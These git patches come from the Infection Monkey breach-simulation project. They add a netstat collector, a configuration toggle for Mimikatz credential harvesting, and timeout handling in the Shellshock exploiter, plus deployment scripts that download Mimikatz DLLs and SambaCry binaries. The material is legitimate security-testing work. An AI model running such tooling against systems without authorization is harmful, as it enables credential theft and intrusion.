.../infection_monkey/system_info/__init__.py | 11 +++-- .../system_info/netstat_collector.py | 44 +++++++++++++++++++ .../system_info/windows_info_collector.py | 2 +- 3 files changed, 53 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/system_info/netstat_collector.py diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index e3892abac..56d7fca8b 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -8,6 +8,7 @@ from enum import IntEnum from infection_monkey.network.info import get_host_subnets from infection_monkey.system_info.aws_collector import AwsCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector +from infection_monkey.system_info.netstat_collector import NetstatCollector LOG = logging.getLogger(__name__) @@ -107,12 +108,16 @@ class InfoCollector(object): def get_network_info(self): """ Adds network information from the host to the system information. - Currently updates with a list of networks accessible from host, - containing host ip and the subnet range. + Currently updates with netstat and a list of networks accessible from host + containing host ip and the subnet range :return: None. Updates class information """ LOG.debug("Reading subnets") - self.info['network_info'] = {'networks': get_host_subnets()} + self.info['network_info'] =\ + { + 'networks': get_host_subnets(), + 'netstat': NetstatCollector.get_netstat_info() + } def get_azure_info(self): """ diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py new file mode 100644 index 000000000..361bf0d81 --- /dev/null +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -0,0 +1,44 @@ +# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py + +import logging +import psutil +import socket + +from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + +class NetstatCollector(object): + """ + Extract netstat info + """ + + AF_INET6 = getattr(socket, 'AF_INET6', object()) + + proto_map = { + (AF_INET, SOCK_STREAM): 'tcp', + (AF_INET6, SOCK_STREAM): 'tcp6', + (AF_INET, SOCK_DGRAM): 'udp', + (AF_INET6, SOCK_DGRAM): 'udp6', + } + + @staticmethod + def get_netstat_info(): + LOG.info("Collecting netstat info") + return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')] + + @staticmethod + def _parse_connection(c): + return \ + { + 'proto': NetstatCollector.proto_map[(c.family, c.type)], + 'local_address': c.laddr[0], + 'local_port': c.laddr[1], + 'remote_address': c.raddr[0] if c.raddr else None, + 'remote_port': c.raddr[1] if c.raddr else None, + 'status': c.status, + 'pid': c.pid + } diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index fb2261572..ced13de4e 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,7 +2,7 @@ import os import logging import sys -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config from infection_monkey.system_info.mimikatz_collector import MimikatzCollector From cc27b5dd208a70a628852e518c8f837bf0757de0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 4 Dec 2018 10:06:48 +0200 Subject: [PATCH 154/183] Actually use mimikatz configuration variable --- monkey/infection_monkey/system_info/windows_info_collector.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index fb2261572..93e160a93 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -55,6 +55,9 @@ class WindowsInfoCollector(InfoCollector): LOG.debug('finished get_wmi_info') def get_mimikatz_info(self): + from infection_monkey.config import WormConfiguration + if not WormConfiguration.should_use_mimikatz: + return mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() if mimikatz_info: From f8f948439ce4526fabbf98c07449b2a4772c03c8 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 4 Dec 2018 10:09:55 +0200 Subject: [PATCH 155/183] Also add to example conf file --- monkey/infection_monkey/example.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 4e608f72f..0779301d2 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -16,6 +16,7 @@ "alive": true, "collect_system_info": true, "extract_azure_creds": true, + "should_use_mimikatz": true, "depth": 2, "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", From 61f040ef6fc4956183b0c4a3c81960954eca5307 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 5 Dec 2018 13:59:33 +0200 Subject: [PATCH 156/183] Moved the check to a top level function. --- .../system_info/windows_info_collector.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 93e160a93..1348a6fcb 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,7 +2,7 @@ import os import logging import sys -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config from infection_monkey.system_info.mimikatz_collector import MimikatzCollector @@ -38,7 +38,9 @@ class WindowsInfoCollector(InfoCollector): super(WindowsInfoCollector, self).get_info() self.get_wmi_info() self.get_installed_packages() - self.get_mimikatz_info() + from infection_monkey.config import WormConfiguration + if WormConfiguration.should_use_mimikatz: + self.get_mimikatz_info() return self.info @@ -55,9 +57,6 @@ class WindowsInfoCollector(InfoCollector): LOG.debug('finished get_wmi_info') def get_mimikatz_info(self): - from infection_monkey.config import WormConfiguration - if not WormConfiguration.should_use_mimikatz: - return mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() if mimikatz_info: From efde6d16433189f7a93a8a93a9d844cbbf1f89b4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 6 Dec 2018 15:41:29 +0200 Subject: [PATCH 157/183] Shellshock exception handling --- monkey/infection_monkey/exploit/shellshock.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index b268371be..23880589a 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter): if is_https: attack_path = 'https://' attack_path = attack_path + str(host) + ":" + str(port) + reqs = [] + timeout = False attack_urls = [attack_path + url for url in url_list] - reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls] + for u in attack_urls: + try: + reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) + except requests.Timeout: + timeout = True + continue + if timeout: + LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.") valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] From 24619aa38fe054f761e057aa8c5b21184cb30b2e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Dec 2018 13:08:59 +0200 Subject: [PATCH 158/183] Deployment scripts added to the repository --- README.md | 3 +- deployment_scripts/README.md | 21 +++ deployment_scripts/config | 19 +++ deployment_scripts/config.ps1 | 48 ++++++ deployment_scripts/deploy_linux.sh | 146 +++++++++++++++++ deployment_scripts/deploy_windows.ps1 | 215 ++++++++++++++++++++++++++ deployment_scripts/run_script.bat | 8 + monkey/infection_monkey/readme.txt | 3 +- monkey/monkey_island/readme.txt | 3 + 9 files changed, 464 insertions(+), 2 deletions(-) create mode 100644 deployment_scripts/README.md create mode 100644 deployment_scripts/config create mode 100644 deployment_scripts/config.ps1 create mode 100644 deployment_scripts/deploy_linux.sh create mode 100644 deployment_scripts/deploy_windows.ps1 create mode 100644 deployment_scripts/run_script.bat diff --git a/README.md b/README.md index 841eb6ccb..a53eb9c5b 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,8 @@ Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in t Building the Monkey from source ------------------------------- -If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) +To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder. +If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md new file mode 100644 index 000000000..e37c34b0e --- /dev/null +++ b/deployment_scripts/README.md @@ -0,0 +1,21 @@ +# Files used to deploy development version of infection monkey +On windows:
    +Before running the script you must have git installed.
    +Cd to scripts directory and use the scripts.
    +First argument is an empty directory (script can create one) and second is branch you want to clone. +Example usages:
    +./run_script.bat (Sets up monkey in current directory under .\infection_monkey)
    +./run_script.bat "C:\test" (Sets up monkey in C:\test)
    +powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)
    +./run_script.bat "" "master"(Sets up master branch instead of develop in current dir) +Don't forget to add python to PATH or do so while installing it via this script.
    + +On Linux:
    +You must have root permissions, but don't run the script as root.
    +Launch deploy_linux.sh from scripts directory.
    +First argument is an empty directory (script can create one) and second is branch you want to clone. +Example usages:
    +./deploy_linux.sh (deploys under ./infection_monkey)
    +./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
    +./deploy_linux.sh "" "master" (deploys master branch in script directory)
    +./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)
    \ No newline at end of file diff --git a/deployment_scripts/config b/deployment_scripts/config new file mode 100644 index 000000000..bb10ed105 --- /dev/null +++ b/deployment_scripts/config @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Absolute monkey's path +MONKEY_FOLDER_NAME="infection_monkey" +# Url of public git repository that contains monkey's source code +MONKEY_GIT_URL="https://github.com/guardicore/monkey" + +# Monkey binaries +LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +LINUX_32_BINARY_NAME="monkey-linux-32" +LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +LINUX_64_BINARY_NAME="monkey-linux-64" +WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" +WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" + +# Mongo url's +MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz" +MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz" diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 new file mode 100644 index 000000000..24a8d3322 --- /dev/null +++ b/deployment_scripts/config.ps1 @@ -0,0 +1,48 @@ +# Absolute monkey's path +$MONKEY_FOLDER_NAME = "infection_monkey" +# Url of public git repository that contains monkey's source code +$MONKEY_GIT_URL = "https://github.com/guardicore/monkey" +# Link to the latest python download or install it manually +$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi" + +# Monkey binaries +$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +$LINUX_32_BINARY_PATH = "monkey-linux-32" +$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +$LINUX_64_BINARY_PATH = "monkey-linux-64" +$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe" +$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe" +$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so" +$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so" +$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so" +$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" + +# Other directories and paths ( most likely you dont need to configure) +$MONKEY_ISLAND_DIR = "\monkey\monkey_island" +$MONKEY_DIR = "\monkey\infection_monkey" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner" +$PYTHON_DLL = "C:\Windows\System32\python27.dll" +$MK32_DLL = "mk32.dll" +$MK64_DLL = "mk64.dll" +$TEMP_PYTHON_INSTALLER = ".\python.msi" +$TEMP_MONGODB_ZIP = ".\mongodb.zip" +$TEMP_OPEN_SSL_ZIP = ".\openssl.zip" +$TEMP_CPP_INSTALLER = "cpp.exe" +$TEMP_NPM_INSTALLER = "node.msi" +$TEMP_PYWIN32_INSTALLER = "pywin32.exe" +$TEMP_UPX_ZIP = "upx.zip" +$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi" +$UPX_FOLDER = "upx394w" + +# Other url's +$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi" +$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip" +$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip" +$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" +$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi" +$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe" +$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip" +$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll" +$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh new file mode 100644 index 000000000..01a4f4780 --- /dev/null +++ b/deployment_scripts/deploy_linux.sh @@ -0,0 +1,146 @@ +#!/bin/bash +source config + +# Setup monkey either in dir required or current dir +monkey_home=${1:-`pwd`} +if [[ $monkey_home == `pwd` ]]; then + monkey_home="$monkey_home/$MONKEY_FOLDER_NAME" +fi + +# We can set main paths after we know the home dir +ISLAND_PATH="$monkey_home/monkey/monkey_island" +MONKEY_COMMON_PATH="$monkey_home/monkey/common/" +MONGO_PATH="$ISLAND_PATH/bin/mongodb" +MONGO_BIN_PATH="$MONGO_PATH/bin" +ISLAND_DB_PATH="$ISLAND_PATH/db" +ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" + +handle_error () { + echo "Fix the errors above and rerun the script" + exit 1 +} + +log_message () { + echo -e "\n\n-------------------------------------------" + echo -e "DEPLOYMENT SCRIPT: $1" + echo -e "-------------------------------------------\n" +} + +sudo -v +if [[ $? != 0 ]]; then + echo "You need root permissions for some of this script operations. Quiting." + exit 1 +fi + +if [[ ! -d ${monkey_home} ]]; then + mkdir -p ${monkey_home} +fi + +git --version &>/dev/null +git_available=$? +if [[ ${git_available} != 0 ]]; then + echo "Please install git and re-run this script" + exit 1 +fi + +log_message "Cloning files from git" +branch=${2:-"develop"} +if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned + git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error + chmod 774 -R ${monkey_home} +fi + +# Create folders +log_message "Creating island dirs under $ISLAND_PATH" +mkdir -p ${MONGO_BIN_PATH} +mkdir -p ${ISLAND_DB_PATH} +mkdir -p ${ISLAND_BINARIES_PATH} || handle_error + +python_version=`python --version 2>&1` +if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then + echo "Python 2.7 is not found or is not a default interpreter for 'python' command..." + exit 1 +fi + +log_message "Installing island requirements" +requirements="$ISLAND_PATH/requirements.txt" +python -m pip install --user -r ${requirements} || handle_error + +# Download binaries +log_message "Downloading binaries" +wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} +# Allow them to be executed +chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME" + +# Get machine type/kernel version +kernel=`uname -m` +linux_dist=`lsb_release -a 2> /dev/null` + +# If a user haven't installed mongo manually check if we can install it with our script +if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \ + { [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then + echo "Script does not support your operating system for mongodb installation. + Reference monkey island readme and install it manually" + exit 1 +fi + +# Download mongo +if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then + log_message "Downloading mongodb" + if [[ ${linux_dist} == *"Debian"* ]]; then + wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL} + elif [[ ${linux_dist} == *"Ubuntu"* ]]; then + wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL} + fi + tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error +else + log_message "Mongo db already installed" +fi + +log_message "Installing openssl" +sudo apt-get install openssl + +# Generate SSL certificate +log_message "Generating certificate" +cd ${ISLAND_PATH} || handle_error +openssl genrsa -out cc/server.key 1024 || handle_error +openssl req -new -key cc/server.key -out cc/server.csr \ +-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error +openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error + + +chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error +${ISLAND_PATH}/linux/create_certificate.sh || handle_error + +# Install npm +log_message "Installing npm" +sudo apt-get install npm + +log_message "Generating front end" +cd "$ISLAND_PATH/cc/ui" || handle_error +npm update +npm run dist + +# Monkey setup +log_message "Installing monkey requirements" +sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 +cd ${monkey_home}/monkey/infection_monkey || handle_error +python -m pip install --user -r requirements.txt || handle_error + +# Build samba +log_message "Building samba binaries" +sudo apt-get install gcc-multilib +cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner +chmod +x ./build.sh || handle_error +./build.sh + +chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh + +log_message "Deployment script finished." +exit 0 \ No newline at end of file diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 new file mode 100644 index 000000000..c72c29b5e --- /dev/null +++ b/deployment_scripts/deploy_windows.ps1 @@ -0,0 +1,215 @@ +function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){ + # Import the config variables + . ./config.ps1 + "Config variables from config.ps1 imported" + + # If we want monkey in current dir we need to create an empty folder for source files + if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){ + $monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME + } + + # Set variables for script execution + [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 + $webClient = New-Object System.Net.WebClient + + # We check if git is installed + try + { + git | Out-Null -ErrorAction Stop + "Git requirement satisfied" + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Please install git before running this script or add it to path and restart cmd" + return + } + + # Download the monkey + $output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1" + $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin") + if ( $output -like "*already exists and is not an empty directory.*"){ + "Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory." + } elseif ($output -like "fatal:*"){ + "Error while cloning monkey from the repository:" + $output + return + } else { + "Monkey cloned from the repository" + # Create bin directory + New-Item -ItemType directory -path $binDir + "Bin directory added" + } + + # We check if python is installed + try + { + $version = cmd.exe /c '"python" --version 2>&1' + if ( $version -like 'Python 2.7.*' ) { + "Python 2.7.* was found, installing dependancies" + } else { + throw System.Management.Automation.CommandNotFoundException + } + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Downloading python 2.7 ..." + $webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER) + Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_PYTHON_INSTALLER + # Check if installed correctly + $version = cmd.exe /c '"python" --version 2>&1' + if ( $version -like '* is not recognized*' ) { + "Python is not found in PATH. Add it manually or reinstall python." + return + } + } + + # Set python home dir + $PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source) + + # Get vcforpython27 before installing requirements + "Downloading Visual C++ Compiler for Python 2.7 ..." + $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER) + Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER + + # Install requirements for island + $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop + "Upgrading pip..." + $output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1' + $output + if ( $output -like '*No module named pip*' ) { + "Make sure pip module is installed and re-run this script." + return + } + & python -m pip install --user -r $islandRequirements + # Install requirements for monkey + $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" + & python -m pip install --user -r $monkeyRequirements + + # Download mongodb + if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){ + "Downloading mongodb ..." + $webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP) + "Unzipping mongodb" + Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir + # Get unzipped folder's name + $mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name + # Move all files from extracted folder to mongodb folder + New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb") + New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db") + "Moving extracted files" + Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\") + "Removing zip file" + Remove-Item $TEMP_MONGODB_ZIP + Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse + } + + # Download OpenSSL + "Downloading OpenSSL ..." + $webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP) + "Unzipping OpenSSl" + Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue + "Removing zip file" + Remove-Item $TEMP_OPEN_SSL_ZIP + + # Download and install C++ redistributable + "Downloading C++ redistributable ..." + $webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER) + Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop + Remove-Item $TEMP_CPP_INSTALLER + + # Generate ssl certificate + "Generating ssl certificate" + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR) + . .\windows\create_certificate.bat + Pop-Location + + # Adding binaries + "Adding binaries" + $binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries") + New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue + $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH)) + $webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH)) + + # Check if NPM installed + "Installing npm" + try + { + $version = cmd.exe /c '"npm" --version 2>&1' + if ( $version -like "*is not recognized*"){ + throw System.Management.Automation.CommandNotFoundException + } else { + "Npm already installed" + } + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Downloading npm ..." + $webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER) + Start-Process -Wait $TEMP_NPM_INSTALLER + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_NPM_INSTALLER + } + + "Updating npm" + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui") + & npm update + & npm run dist + Pop-Location + + # Install pywin32 + "Downloading pywin32" + $webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER) + Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop + Remove-Item $TEMP_PYWIN32_INSTALLER + + # Create infection_monkey/bin directory if not already present + $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin") + New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue + + # Download upx + if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){ + "Downloading upx ..." + $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP) + "Unzipping upx" + Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue + Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir + # Remove unnecessary files + Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER) + "Removing zip file" + Remove-Item $TEMP_UPX_ZIP + } + + # Download mimikatz binaries + $mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL + if(!(Test-Path -Path $mk32_path )){ + "Downloading mimikatz 32 binary" + $webClient.DownloadFile($MK32_DLL_URL, $mk32_path) + } + $mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL + if(!(Test-Path -Path $mk64_path )){ + "Downloading mimikatz 64 binary" + $webClient.DownloadFile($MK64_DLL_URL, $mk64_path) + } + + # Download sambacry binaries + $samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR + $samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME + if(!(Test-Path -Path $samba32_path )){ + "Downloading sambacry 32 binary" + $webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path) + } + $samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME + if(!(Test-Path -Path $samba64_path )){ + "Downloading sambacry 64 binary" + $webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path) + } + + "Script finished" + +} diff --git a/deployment_scripts/run_script.bat b/deployment_scripts/run_script.bat new file mode 100644 index 000000000..3dcd62760 --- /dev/null +++ b/deployment_scripts/run_script.bat @@ -0,0 +1,8 @@ +SET command=. .\deploy_windows.ps1; Deploy-Windows +if NOT "%~1" == "" ( + SET "command=%command% -monkey_home %~1" +) +if NOT "%~2" == "" ( + SET "command=%command% -branch %~2" +) +powershell -ExecutionPolicy ByPass -Command %command% \ No newline at end of file diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index c90b1f6af..66ba14992 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -1,4 +1,5 @@ -How to build a monkey binary from scratch. +To get development versions of Monkey Island and Monkey look into deployment scripts folder. +If you only want to monkey from scratch you may refer to the instructions below. The monkey is composed of three separate parts. * The Infection Monkey itself - PyInstaller compressed python archives diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 8f6095c7e..64cefcd36 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,3 +1,6 @@ +To get development versions of Monkey Island and Monkey look into deployment scripts folder. +If you only want to run the software from source you may refer to the instructions below. + How to set up the Monkey Island server: ---------------- On Windows ----------------: From d5bfaa9ad02150ed2d0c89e64f324cec7ca66fb5 Mon Sep 17 